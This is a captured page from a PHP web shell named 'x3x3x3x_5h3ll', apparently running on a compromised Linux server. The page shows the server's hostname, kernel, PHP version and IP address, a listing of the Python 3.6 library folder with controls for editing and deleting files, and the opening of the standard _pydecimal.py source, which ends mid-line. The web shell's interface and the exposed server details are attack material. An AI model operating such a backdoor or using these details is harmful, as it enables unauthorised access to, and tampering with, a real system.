x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/python3.6/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__pycache__ dir drwxr-xr-x 2024-10-07 16:37 R D
asyncio dir drwxr-xr-x 2024-10-07 16:37 R D
collections dir drwxr-xr-x 2024-10-07 16:37 R D
concurrent dir drwxr-xr-x 2024-10-07 16:37 R D
config-3.6m-x86_64-linux-gnu dir drwxr-xr-x 2024-10-07 16:37 R D
ctypes dir drwxr-xr-x 2024-10-07 16:37 R D
curses dir drwxr-xr-x 2024-10-07 16:37 R D
dbm dir drwxr-xr-x 2024-10-07 16:37 R D
distutils dir drwxr-xr-x 2024-10-07 16:37 R D
email dir drwxr-xr-x 2024-10-07 16:37 R D
encodings dir drwxr-xr-x 2024-10-07 16:37 R D
ensurepip dir drwxr-xr-x 2024-10-07 16:37 R D
html dir drwxr-xr-x 2024-10-07 16:37 R D
http dir drwxr-xr-x 2024-10-07 16:37 R D
importlib dir drwxr-xr-x 2024-10-07 16:37 R D
json dir drwxr-xr-x 2024-10-07 16:37 R D
lib-dynload dir drwxr-xr-x 2024-10-07 16:37 R D
lib2to3 dir drwxr-xr-x 2024-10-07 16:37 R D
logging dir drwxr-xr-x 2024-10-07 16:37 R D
multiprocessing dir drwxr-xr-x 2024-10-07 16:37 R D
pydoc_data dir drwxr-xr-x 2024-10-07 16:37 R D
site-packages dir drwxr-xr-x 2024-10-07 16:37 R D
sqlite3 dir drwxr-xr-x 2024-10-07 16:37 R D
test dir drwxr-xr-x 2024-10-07 16:37 R D
unittest dir drwxr-xr-x 2024-10-07 16:37 R D
urllib dir drwxr-xr-x 2024-10-07 16:37 R D
venv dir drwxr-xr-x 2024-10-07 16:37 R D
wsgiref dir drwxr-xr-x 2024-10-07 16:37 R D
xml dir drwxr-xr-x 2024-10-07 16:37 R D
xmlrpc dir drwxr-xr-x 2024-10-07 16:37 R D
__future__.py 4.728 KB -rw-r--r-- 2018-12-23 21:37 R E G D
__phello__.foo.py 0.063 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_bootlocale.py 1.271 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_collections_abc.py 25.773 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_compat_pickle.py 8.544 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_compression.py 5.215 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_dummy_thread.py 4.998 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_markupbase.py 14.256 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_osx_support.py 18.689 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_pydecimal.py 224.832 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_pyio.py 86.032 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_sitebuiltins.py 3.042 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_strptime.py 24.167 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_sysconfigdata_dm_linux_x86_64-linux-gnu.py 22.125 KB -rw-r--r-- 2024-09-24 13:49 R E G D
_sysconfigdata_m_linux_x86_64-linux-gnu.py 21.537 KB -rw-r--r-- 2024-09-24 14:10 R E G D
_threading_local.py 7.045 KB -rw-r--r-- 2018-12-23 21:37 R E G D
_weakrefset.py 5.571 KB -rw-r--r-- 2018-12-23 21:37 R E G D
abc.py 8.522 KB -rw-r--r-- 2018-12-23 21:37 R E G D
aifc.py 31.693 KB -rw-r--r-- 2018-12-23 21:37 R E G D
antigravity.py 0.466 KB -rw-r--r-- 2018-12-23 21:37 R E G D
argparse.py 88.254 KB -rw-r--r-- 2018-12-23 21:37 R E G D
ast.py 11.881 KB -rw-r--r-- 2018-12-23 21:37 R E G D
asynchat.py 11.063 KB -rw-r--r-- 2018-12-23 21:37 R E G D
asyncore.py 19.687 KB -rw-r--r-- 2018-12-23 21:37 R E G D
base64.py 19.9 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
bdb.py 23.004 KB -rw-r--r-- 2018-12-23 21:37 R E G D
binhex.py 13.627 KB -rw-r--r-- 2018-12-23 21:37 R E G D
bisect.py 2.534 KB -rw-r--r-- 2018-12-23 21:37 R E G D
bz2.py 12.186 KB -rw-r--r-- 2018-12-23 21:37 R E G D
cProfile.py 5.244 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
calendar.py 22.669 KB -rw-r--r-- 2018-12-23 21:37 R E G D
cgi.py 35.929 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
cgitb.py 11.736 KB -rw-r--r-- 2018-12-23 21:37 R E G D
chunk.py 5.298 KB -rw-r--r-- 2018-12-23 21:37 R E G D
cmd.py 14.512 KB -rw-r--r-- 2018-12-23 21:37 R E G D
code.py 10.365 KB -rw-r--r-- 2018-12-23 21:37 R E G D
codecs.py 35.426 KB -rw-r--r-- 2018-12-23 21:37 R E G D
codeop.py 5.854 KB -rw-r--r-- 2018-12-23 21:37 R E G D
colorsys.py 3.969 KB -rw-r--r-- 2018-12-23 21:37 R E G D
compileall.py 11.841 KB -rw-r--r-- 2018-12-23 21:37 R E G D
configparser.py 52.336 KB -rw-r--r-- 2018-12-23 21:37 R E G D
contextlib.py 12.854 KB -rw-r--r-- 2018-12-23 21:37 R E G D
copy.py 8.608 KB -rw-r--r-- 2018-12-23 21:37 R E G D
copyreg.py 6.843 KB -rw-r--r-- 2018-12-23 21:37 R E G D
crypt.py 1.82 KB -rw-r--r-- 2018-12-23 21:37 R E G D
csv.py 15.801 KB -rw-r--r-- 2018-12-23 21:37 R E G D
datetime.py 80.111 KB -rw-r--r-- 2018-12-23 21:37 R E G D
decimal.py 0.313 KB -rw-r--r-- 2018-12-23 21:37 R E G D
difflib.py 82.399 KB -rw-r--r-- 2018-12-23 21:37 R E G D
dis.py 17.707 KB -rw-r--r-- 2018-12-23 21:37 R E G D
doctest.py 101.944 KB -rw-r--r-- 2018-12-23 21:37 R E G D
dummy_threading.py 2.749 KB -rw-r--r-- 2018-12-23 21:37 R E G D
enum.py 32.818 KB -rw-r--r-- 2018-12-23 21:37 R E G D
filecmp.py 9.6 KB -rw-r--r-- 2018-12-23 21:37 R E G D
fileinput.py 14.132 KB -rw-r--r-- 2018-12-23 21:37 R E G D
fnmatch.py 3.092 KB -rw-r--r-- 2018-12-23 21:37 R E G D
formatter.py 14.788 KB -rw-r--r-- 2018-12-23 21:37 R E G D
fractions.py 23.085 KB -rw-r--r-- 2018-12-23 21:37 R E G D
ftplib.py 34.43 KB -rw-r--r-- 2018-12-23 21:37 R E G D
functools.py 30.611 KB -rw-r--r-- 2018-12-23 21:37 R E G D
genericpath.py 4.645 KB -rw-r--r-- 2018-12-23 21:37 R E G D
getopt.py 7.313 KB -rw-r--r-- 2018-12-23 21:37 R E G D
getpass.py 5.854 KB -rw-r--r-- 2018-12-23 21:37 R E G D
gettext.py 21.025 KB -rw-r--r-- 2018-12-23 21:37 R E G D
glob.py 5.506 KB -rw-r--r-- 2018-12-23 21:37 R E G D
gzip.py 19.857 KB -rw-r--r-- 2018-12-23 21:37 R E G D
hashlib.py 8.517 KB -rw-r--r-- 2024-09-24 13:48 R E G D
heapq.py 22.392 KB -rw-r--r-- 2018-12-23 21:37 R E G D
hmac.py 6.231 KB -rw-r--r-- 2024-09-24 13:48 R E G D
imaplib.py 52.046 KB -rw-r--r-- 2018-12-23 21:37 R E G D
imghdr.py 3.706 KB -rw-r--r-- 2018-12-23 21:37 R E G D
imp.py 10.419 KB -rw-r--r-- 2018-12-23 21:37 R E G D
inspect.py 114.217 KB -rw-r--r-- 2018-12-23 21:37 R E G D
io.py 3.435 KB -rw-r--r-- 2018-12-23 21:37 R E G D
ipaddress.py 72.815 KB -rw-r--r-- 2024-09-24 13:48 R E G D
keyword.py 2.157 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
linecache.py 5.188 KB -rw-r--r-- 2018-12-23 21:37 R E G D
locale.py 75.488 KB -rw-r--r-- 2018-12-23 21:37 R E G D
lzma.py 12.679 KB -rw-r--r-- 2018-12-23 21:37 R E G D
macpath.py 5.831 KB -rw-r--r-- 2018-12-23 21:37 R E G D
macurl2path.py 2.668 KB -rw-r--r-- 2018-12-23 21:37 R E G D
mailbox.py 76.781 KB -rw-r--r-- 2018-12-23 21:37 R E G D
mailcap.py 7.914 KB -rw-r--r-- 2018-12-23 21:37 R E G D
mimetypes.py 20.549 KB -rw-r--r-- 2018-12-23 21:37 R E G D
modulefinder.py 22.487 KB -rw-r--r-- 2018-12-23 21:37 R E G D
netrc.py 5.551 KB -rw-r--r-- 2018-12-23 21:37 R E G D
nntplib.py 42.068 KB -rw-r--r-- 2018-12-23 21:37 R E G D
ntpath.py 22.553 KB -rw-r--r-- 2018-12-23 21:37 R E G D
nturl2path.py 2.387 KB -rw-r--r-- 2018-12-23 21:37 R E G D
numbers.py 10.003 KB -rw-r--r-- 2018-12-23 21:37 R E G D
opcode.py 5.686 KB -rw-r--r-- 2018-12-23 21:37 R E G D
operator.py 10.608 KB -rw-r--r-- 2018-12-23 21:37 R E G D
optparse.py 58.956 KB -rw-r--r-- 2018-12-23 21:37 R E G D
os.py 36.646 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pathlib.py 47.834 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pdb.py 59.873 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
pickle.py 54.386 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pickletools.py 89.624 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pipes.py 8.707 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pkgutil.py 20.815 KB -rw-r--r-- 2018-12-23 21:37 R E G D
platform.py 46.085 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
plistlib.py 32.019 KB -rw-r--r-- 2024-09-24 13:48 R E G D
poplib.py 14.613 KB -rw-r--r-- 2018-12-23 21:37 R E G D
posixpath.py 15.402 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pprint.py 20.371 KB -rw-r--r-- 2018-12-23 21:37 R E G D
profile.py 21.503 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
pstats.py 25.941 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pty.py 4.651 KB -rw-r--r-- 2018-12-23 21:37 R E G D
py_compile.py 7.013 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pyclbr.py 13.24 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pydoc.py 101.798 KB -rw-r--r-- 2024-09-24 14:11 R E G D
queue.py 8.574 KB -rw-r--r-- 2018-12-23 21:37 R E G D
quopri.py 7.082 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
random.py 26.799 KB -rw-r--r-- 2018-12-23 21:37 R E G D
re.py 15.188 KB -rw-r--r-- 2018-12-23 21:37 R E G D
reprlib.py 5.211 KB -rw-r--r-- 2018-12-23 21:37 R E G D
rlcompleter.py 6.931 KB -rw-r--r-- 2018-12-23 21:37 R E G D
runpy.py 11.679 KB -rw-r--r-- 2018-12-23 21:37 R E G D
sched.py 6.358 KB -rw-r--r-- 2018-12-23 21:37 R E G D
secrets.py 1.99 KB -rw-r--r-- 2018-12-23 21:37 R E G D
selectors.py 18.982 KB -rw-r--r-- 2018-12-23 21:37 R E G D
shelve.py 8.315 KB -rw-r--r-- 2018-12-23 21:37 R E G D
shlex.py 12.652 KB -rw-r--r-- 2018-12-23 21:37 R E G D
shutil.py 39.59 KB -rw-r--r-- 2018-12-23 21:37 R E G D
signal.py 2.073 KB -rw-r--r-- 2018-12-23 21:37 R E G D
site.py 20.77 KB -rw-r--r-- 2024-09-24 13:48 R E G D
smtpd.py 33.896 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
smtplib.py 43.172 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
sndhdr.py 6.922 KB -rw-r--r-- 2018-12-23 21:37 R E G D
socket.py 26.8 KB -rw-r--r-- 2018-12-23 21:37 R E G D
socketserver.py 26.377 KB -rw-r--r-- 2018-12-23 21:37 R E G D
sre_compile.py 18.885 KB -rw-r--r-- 2018-12-23 21:37 R E G D
sre_constants.py 6.661 KB -rw-r--r-- 2018-12-23 21:37 R E G D
sre_parse.py 35.68 KB -rw-r--r-- 2018-12-23 21:37 R E G D
ssl.py 43.466 KB -rw-r--r-- 2024-09-24 13:48 R E G D
stat.py 4.92 KB -rw-r--r-- 2018-12-23 21:37 R E G D
statistics.py 20.188 KB -rw-r--r-- 2018-12-23 21:37 R E G D
string.py 11.519 KB -rw-r--r-- 2018-12-23 21:37 R E G D
stringprep.py 12.614 KB -rw-r--r-- 2018-12-23 21:37 R E G D
struct.py 0.251 KB -rw-r--r-- 2018-12-23 21:37 R E G D
subprocess.py 60.878 KB -rw-r--r-- 2018-12-23 21:37 R E G D
sunau.py 17.671 KB -rw-r--r-- 2018-12-23 21:37 R E G D
symbol.py 2.06 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
symtable.py 7.106 KB -rw-r--r-- 2018-12-23 21:37 R E G D
sysconfig.py 24.398 KB -rw-r--r-- 2024-09-24 14:11 R E G D
tabnanny.py 11.134 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
tarfile.py 92.621 KB -rwxr-xr-x 2024-09-24 13:48 R E G D
telnetlib.py 22.594 KB -rw-r--r-- 2018-12-23 21:37 R E G D
tempfile.py 27.408 KB -rw-r--r-- 2024-09-24 13:48 R E G D
textwrap.py 19.1 KB -rw-r--r-- 2018-12-23 21:37 R E G D
this.py 0.979 KB -rw-r--r-- 2018-12-23 21:37 R E G D
threading.py 47.88 KB -rw-r--r-- 2018-12-23 21:37 R E G D
timeit.py 13.02 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
token.py 3.003 KB -rw-r--r-- 2018-12-23 21:37 R E G D
tokenize.py 28.805 KB -rw-r--r-- 2018-12-23 21:37 R E G D
trace.py 28.05 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
traceback.py 22.908 KB -rw-r--r-- 2018-12-23 21:37 R E G D
tracemalloc.py 16.268 KB -rw-r--r-- 2018-12-23 21:37 R E G D
tty.py 0.858 KB -rw-r--r-- 2018-12-23 21:37 R E G D
types.py 8.662 KB -rw-r--r-- 2018-12-23 21:37 R E G D
typing.py 78.393 KB -rw-r--r-- 2018-12-23 21:37 R E G D
uu.py 6.595 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
uuid.py 23.457 KB -rw-r--r-- 2024-09-24 13:48 R E G D
warnings.py 18.055 KB -rw-r--r-- 2018-12-23 21:37 R E G D
wave.py 17.294 KB -rw-r--r-- 2018-12-23 21:37 R E G D
weakref.py 19.986 KB -rw-r--r-- 2018-12-23 21:37 R E G D
webbrowser.py 21.247 KB -rwxr-xr-x 2018-12-23 21:37 R E G D
xdrlib.py 5.774 KB -rw-r--r-- 2018-12-23 21:37 R E G D
zipapp.py 6.989 KB -rw-r--r-- 2018-12-23 21:37 R E G D
zipfile.py 74.494 KB -rw-r--r-- 2018-12-23 21:37 R E G D
REQUEST EXIT
# Copyright (c) 2004 Python Software Foundation. # All rights reserved. # Written by Eric Price # and Facundo Batista # and Raymond Hettinger # and Aahz # and Tim Peters # This module should be kept in sync with the latest updates of the # IBM specification as it evolves. Those updates will be treated # as bug fixes (deviation from the spec is a compatibility, usability # bug) and will be backported. At this point the spec is stabilizing # and the updates are becoming fewer, smaller, and less significant. """ This is an implementation of decimal floating point arithmetic based on the General Decimal Arithmetic Specification: http://speleotrove.com/decimal/decarith.html and IEEE standard 854-1987: http://en.wikipedia.org/wiki/IEEE_854-1987 Decimal floating point has finite precision with arbitrarily large bounds. The purpose of this module is to support arithmetic using familiar "schoolhouse" rules and to avoid some of the tricky representation issues associated with binary floating point. The package is especially useful for financial applications or for contexts where users have expectations that are at odds with binary floating point (for instance, in binary floating point, 1.00 % 0.1 gives 0.09999999999999995 instead of 0.0; Decimal('1.00') % Decimal('0.1') returns the expected Decimal('0.00')). Here are some examples of using the decimal module: >>> from decimal import * >>> setcontext(ExtendedContext) >>> Decimal(0) Decimal('0') >>> Decimal('1') Decimal('1') >>> Decimal('-.0123') Decimal('-0.0123') >>> Decimal(123456) Decimal('123456') >>> Decimal('123.45e12345678') Decimal('1.2345E+12345680') >>> Decimal('1.33') + Decimal('1.27') Decimal('2.60') >>> Decimal('12.34') + Decimal('3.87') - Decimal('18.41') Decimal('-2.20') >>> dig = Decimal(1) >>> print(dig / Decimal(3)) 0.333333333 >>> getcontext().prec = 18 >>> print(dig / Decimal(3)) 0.333333333333333333 >>> print(dig.sqrt()) 1 >>> print(Decimal(3).sqrt()) 1.73205080756887729 >>> print(Decimal(3) ** 123) 4.85192780976896427E+58 >>> inf = Decimal(1) / Decimal(0) >>> print(inf) Infinity >>> neginf = Decimal(-1) / Decimal(0) >>> print(neginf) -Infinity >>> print(neginf + inf) NaN >>> print(neginf * inf) -Infinity >>> print(dig / 0) Infinity >>> getcontext().traps[DivisionByZero] = 1 >>> print(dig / 0) Traceback (most recent call last): ... ... ... decimal.DivisionByZero: x / 0 >>> c = Context() >>> c.traps[InvalidOperation] = 0 >>> print(c.flags[InvalidOperation]) 0 >>> c.divide(Decimal(0), Decimal(0)) Decimal('NaN') >>> c.traps[InvalidOperation] = 1 >>> print(c.flags[InvalidOperation]) 1 >>> c.flags[InvalidOperation] = 0 >>> print(c.flags[InvalidOperation]) 0 >>> print(c.divide(Decimal(0), Decimal(0))) Traceback (most recent call last): ... ... ... decimal.InvalidOperation: 0 / 0 >>> print(c.flags[InvalidOperation]) 1 >>> c.flags[InvalidOperation] = 0 >>> c.traps[InvalidOperation] = 0 >>> print(c.divide(Decimal(0), Decimal(0))) NaN >>> print(c.flags[InvalidOperation]) 1 >>> """ __all__ = [ # Two major classes 'Decimal', 'Context', # Named tuple representation 'DecimalTuple', # Contexts 'DefaultContext', 'BasicContext', 'ExtendedContext', # Exceptions 'DecimalException', 'Clamped', 'InvalidOperation', 'DivisionByZero', 'Inexact', 'Rounded', 'Subnormal', 'Overflow', 'Underflow', 'FloatOperation', # Exceptional conditions that trigger InvalidOperation 'DivisionImpossible', 'InvalidContext', 'ConversionSyntax', 'DivisionUndefined', # Constants for use in setting up contexts 'ROUND_DOWN', 'ROUND_HALF_UP', 'ROUND_HALF_EVEN', 'ROUND_CEILING', 'ROUND_FLOOR', 'ROUND_UP', 'ROUND_HALF_DOWN', 'ROUND_05UP', # Functions for manipulating contexts 'setcontext', 'getcontext', 'localcontext', # Limits for the C version for compatibility 'MAX_PREC', 'MAX_EMAX', 'MIN_EMIN', 'MIN_ETINY', # C version: compile time choice that enables the thread local context 'HAVE_THREADS' ] __xname__ = __name__ # sys.modules lookup (--without-threads) __name__ = 'decimal' # For pickling __version__ = '1.70' # Highest version of the spec this complies with # See http://speleotrove.com/decimal/ __libmpdec_version__ = "2.4.2" # compatible libmpdec version import math as _math import numbers as _numbers import sys try: from collections import namedtuple as _namedtuple DecimalTuple = _namedtuple('DecimalTuple', 'sign digits exponent') except ImportError: DecimalTuple = lambda *args: args # Rounding ROUND_DOWN = 'ROUND_DOWN' ROUND_HALF_UP = 'ROUND_HALF_UP' ROUND_HALF_EVEN = 'ROUND_HALF_EVEN' ROUND_CEILING = 'ROUND_CEILING' ROUND_FLOOR = 'ROUND_FLOOR' ROUND_UP = 'ROUND_UP' ROUND_HALF_DOWN = 'ROUND_HALF_DOWN' ROUND_05UP = 'ROUND_05UP' # Compatibility with the C version HAVE_THREADS = True if sys.maxsize == 2**63-1: MAX_PREC = 999999999999999999 MAX_EMAX = 999999999999999999 MIN_EMIN = -999999999999999999 else: MAX_PREC = 425000000 MAX_EMAX = 425000000 MIN_EMIN = -425000000 MIN_ETINY = MIN_EMIN - (MAX_PREC-1) # Errors class DecimalException(ArithmeticError): """Base exception class. Used exceptions derive from this. If an exception derives from another exception besides this (such as Underflow (Inexact, Rounded, Subnormal) that indicates that it is only called if the others are present. This isn't actually used for anything, though. handle -- Called when context._raise_error is called and the trap_enabler is not set. First argument is self, second is the context. More arguments can be given, those being after the explanation in _raise_error (For example, context._raise_error(NewError, '(-x)!', self._sign) would call NewError().handle(context, self._sign).) To define a new exception, it should be sufficient to have it derive from DecimalException. """ def handle(self, context, *args): pass class Clamped(DecimalException): """Exponent of a 0 changed to fit bounds. This occurs and signals clamped if the exponent of a result has been altered in order to fit the constraints of a specific concrete representation. This may occur when the exponent of a zero result would be outside the bounds of a representation, or when a large normal number would have an encoded exponent that cannot be represented. In this latter case, the exponent is reduced to fit and the corresponding number of zero digits are appended to the coefficient ("fold-down"). """ class InvalidOperation(DecimalException): """An invalid operation was performed. Various bad things cause this: Something creates a signaling NaN -INF + INF 0 * (+-)INF (+-)INF / (+-)INF x % 0 (+-)INF % x x._rescale( non-integer ) sqrt(-x) , x > 0 0 ** 0 x ** (non-integer) x ** (+-)INF An operand is invalid The result of the operation after these is a quiet positive NaN, except when the cause is a signaling NaN, in which case the result is also a quiet NaN, but with the original sign, and an optional diagnostic information. """ def handle(self, context, *args): if args: ans = _dec_from_triple(args[0]._sign, args[0]._int, 'n', True) return ans._fix_nan(context) return _NaN class ConversionSyntax(InvalidOperation): """Trying to convert badly formed string. This occurs and signals invalid-operation if a string is being converted to a number and it does not conform to the numeric string syntax. The result is [0,qNaN]. """ def handle(self, context, *args): return _NaN class DivisionByZero(DecimalException, ZeroDivisionError): """Division by 0. This occurs and signals division-by-zero if division of a finite number by zero was attempted (during a divide-integer or divide operation, or a power operation with negative right-hand operand), and the dividend was not zero. The result of the operation is [sign,inf], where sign is the exclusive or of the signs of the operands for divide, or is 1 for an odd power of -0, for power. """ def handle(self, context, sign, *args): return _SignedInfinity[sign] class DivisionImpossible(InvalidOperation): """Cannot perform the division adequately. This occurs and signals invalid-operation if the integer result of a divide-integer or remainder operation had too many digits (would be longer than precision). The result is [0,qNaN]. """ def handle(self, context, *args): return _NaN class DivisionUndefined(InvalidOperation, ZeroDivisionError): """Undefined result of division. This occurs and signals invalid-operation if division by zero was attempted (during a divide-integer, divide, or remainder operation), and the dividend is also zero. The result is [0,qNaN]. """ def handle(self, context, *args): return _NaN class Inexact(DecimalException): """Had to round, losing information. This occurs and signals inexact whenever the result of an operation is not exact (that is, it needed to be rounded and any discarded digits were non-zero), or if an overflow or underflow condition occurs. The result in all cases is unchanged. The inexact signal may be tested (or trapped) to determine if a given operation (or sequence of operations) was inexact. """ class InvalidContext(InvalidOperation): """Invalid context. Unknown rounding, for example. This occurs and signals invalid-operation if an invalid context was detected during an operation. This can occur if contexts are not checked on creation and either the precision exceeds the capability of the underlying concrete representation or an unknown or unsupported rounding was specified. These aspects of the context need only be checked when the values are required to be used. The result is [0,qNaN]. """ def handle(self, context, *args): return _NaN class Rounded(DecimalException): """Number got rounded (not necessarily changed during rounding). This occurs and signals rounded whenever the result of an operation is rounded (that is, some zero or non-zero digits were discarded from the coefficient), or if an overflow or underflow condition occurs. The result in all cases is unchanged. The rounded signal may be tested (or trapped) to determine if a given operation (or sequence of operations) caused a loss of precision. """ class Subnormal(DecimalException): """Exponent < Emin before rounding. This occurs and signals subnormal whenever the result of a conversion or operation is subnormal (that is, its adjusted exponent is less than Emin, before any rounding). The result in all cases is unchanged. The subnormal signal may be tested (or trapped) to determine if a given or operation (or sequence of operations) yielded a subnormal result. """ class Overflow(Inexact, Rounded): """Numerical overflow. This occurs and signals overflow if the adjusted exponent of a result (from a conversion or from an operation that is not an attempt to divide by zero), after rounding, would be greater than the largest value that can be handled by the implementation (the value Emax). The result depends on the rounding mode: For round-half-up and round-half-even (and for round-half-down and round-up, if implemented), the result of the operation is [sign,inf], where sign is the sign of the intermediate result. For round-down, the result is the largest finite number that can be represented in the current precision, with the sign of the intermediate result. For round-ceiling, the result is the same as for round-down if the sign of the intermediate result is 1, or is [0,inf] otherwise. For round-floor, the result is the same as for round-down if the sign of the intermediate result is 0, or is [1,inf] otherwise. In all cases, Inexact and Rounded will also be raised. """ def handle(self, context, sign, *args): if context.rounding in (ROUND_HALF_UP, ROUND_HALF_EVEN, ROUND_HALF_DOWN, ROUND_UP): return _SignedInfinity[sign] if sign == 0: if context.rounding == ROUND_CEILING: return _SignedInfinity[sign] return _dec_from_triple(sign, '9'*context.prec, context.Emax-context.prec+1) if sign == 1: if context.rounding == ROUND_FLOOR: return _SignedInfinity[sign] return _dec_from_triple(sign, '9'*context.prec, context.Emax-context.prec+1) class Underflow(Inexact, Rounded, Subnormal): """Numerical underflow with result rounded to 0. This occurs and signals underflow if a result is inexact and the adjusted exponent of the result would be smaller (more negative) than the smallest value that can be handled by the implementation (the value Emin). That is, the result is both inexact and subnormal. The result after an underflow will be a subnormal number rounded, if necessary, so that its exponent is not less than Etiny. This may result in 0 with the sign of the intermediate result and an exponent of Etiny. In all cases, Inexact, Rounded, and Subnormal will also be raised. """ class FloatOperation(DecimalException, TypeError): """Enable stricter semantics for mixing floats and Decimals. If the signal is not trapped (default), mixing floats and Decimals is permitted in the Decimal() constructor, context.create_decimal() and all comparison operators. Both conversion and comparisons are exact. Any occurrence of a mixed operation is silently recorded by setting FloatOperation in the context flags. Explicit conversions with Decimal.from_float() or context.create_decimal_from_float() do not set the flag. Otherwise (the signal is trapped), only equality comparisons and explicit conversions are silent. All other mixed operations raise FloatOperation. """ # List of public traps and flags _signals = [Clamped, DivisionByZero, Inexact, Overflow, Rounded, Underflow, InvalidOperation, Subnormal, FloatOperation] # Map conditions (per the spec) to signals _condition_map = {ConversionSyntax:InvalidOperation, DivisionImpossible:InvalidOperation, DivisionUndefined:InvalidOperation, InvalidContext:InvalidOperation} # Valid rounding modes _rounding_modes = (ROUND_DOWN, ROUND_HALF_UP, ROUND_HALF_EVEN, ROUND_CEILING, ROUND_FLOOR, ROUND_UP, ROUND_HALF_DOWN, ROUND_05UP) ##### Context Functions ################################################## # The getcontext() and setcontext() function manage access to a thread-local # current context. Py2.4 offers direct support for thread locals. If that # is not available, use threading.current_thread() which is slower but will # work for older Pythons. If threads are not part of the build, create a # mock threading object with threading.local() returning the module namespace. try: import threading except ImportError: # Python was compiled without threads; create a mock object instead class MockThreading(object): def local(self, sys=sys): return sys.modules[__xname__] threading = MockThreading() del MockThreading try: threading.local except AttributeError: # To fix reloading, force it to create a new context # Old contexts have different exceptions in their dicts, making problems. if hasattr(threading.current_thread(), '__decimal_context__'): del threading.current_thread().__decimal_context__ def setcontext(context): """Set this thread's context to context.""" if context in (DefaultContext, BasicContext, ExtendedContext): context = context.copy() context.clear_flags() threading.current_thread().__decimal_context__ = context def getcontext(): """Returns this thread's context. If this thread does not yet have a context, returns a new context and sets this thread's context. New contexts are copies of DefaultContext. """ try: return threading.current_thread().__decimal_context__ except AttributeError: context = Context() threading.current_thread().__decimal_context__ = context return context else: local = threading.local() if hasattr(local, '__decimal_context__'): del local.__decimal_context__ def getcontext(_local=local): """Returns this thread's context. If this thread does not yet have a context, returns a new context and sets this thread's context. New contexts are copies of DefaultContext. """ try: return _local.__decimal_context__ except AttributeError: context = Context() _local.__decimal_context__ = context return context def setcontext(context, _local=local): """Set this thread's context to context.""" if context in (DefaultContext, BasicContext, ExtendedContext): context = context.copy() context.clear_flags() _local.__decimal_context__ = context del threading, local # Don't contaminate the namespace def localcontext(ctx=None): """Return a context manager for a copy of the supplied context Uses a copy of the current context if no context is specified The returned context manager creates a local decimal context in a with statement: def sin(x): with localcontext() as ctx: ctx.prec += 2 # Rest of sin calculation algorithm # uses a precision 2 greater than normal return +s # Convert result to normal precision def sin(x): with localcontext(ExtendedContext): # Rest of sin calculation algorithm # uses the Extended Context from the # General Decimal Arithmetic Specification return +s # Convert result to normal context >>> setcontext(DefaultContext) >>> print(getcontext().prec) 28 >>> with localcontext(): ... ctx = getcontext() ... ctx.prec += 2 ... print(ctx.prec) ... 30 >>> with localcontext(ExtendedContext): ... print(getcontext().prec) ... 9 >>> print(getcontext().prec) 28 """ if ctx is None: ctx = getcontext() return _ContextManager(ctx) ##### Decimal class ####################################################### # Do not subclass Decimal from numbers.Real and do not register it as such # (because Decimals are not interoperable with floats). See the notes in # numbers.py for more detail. class Decimal(object): """Floating point class for decimal arithmetic.""" __slots__ = ('_exp','_int','_sign', '_is_special') # Generally, the value of the Decimal instance is given by # (-1)**_sign * _int * 10**_exp # Special values are signified by _is_special == True # We're immutable, so use __new__ not __init__ def __new__(cls, value="0", context=None): """Create a decimal point instance. >>> Decimal('3.14') # string input Decimal('3.14') >>> Decimal((0, (3, 1, 4), -2)) # tuple (sign, digit_tuple, exponent) Decimal('3.14') >>> Decimal(314) # int Decimal('314') >>> Decimal(Decimal(314)) # another decimal instance Decimal('314') >>> Decimal(' 3.14 \\n') # leading and trailing whitespace okay Decimal('3.14') """ # Note that the coefficient, self._int, is actually stored as # a string rather than as a tuple of digits. This speeds up # the "digits to integer" and "integer to digits" conversions # that are used in almost every arithmetic operation on # Decimals. This is an internal detail: the as_tuple function # and the Decimal constructor still deal with tuples of # digits. self = object.__new__(cls) # From a string # REs insist on real strings, so we can too. if isinstance(value, str): m = _parser(value.strip().replace("_", "")) if m is None: if context is None: context = getcontext() return context._raise_error(ConversionSyntax, "Invalid literal for Decimal: %r" % value) if m.group('sign') == "-": self._sign = 1 else: self._sign = 0 intpart = m.group('int') if intpart is not None: # finite number fracpart = m.group('frac') or '' exp = int(m.group('exp') or '0') self._int = str(int(intpart+fracpart)) self._exp = exp - len(fracpart) self._is_special = False else: diag = m.group('diag') if diag is not None: # NaN self._int = str(int(diag or '0')).lstrip('0') if 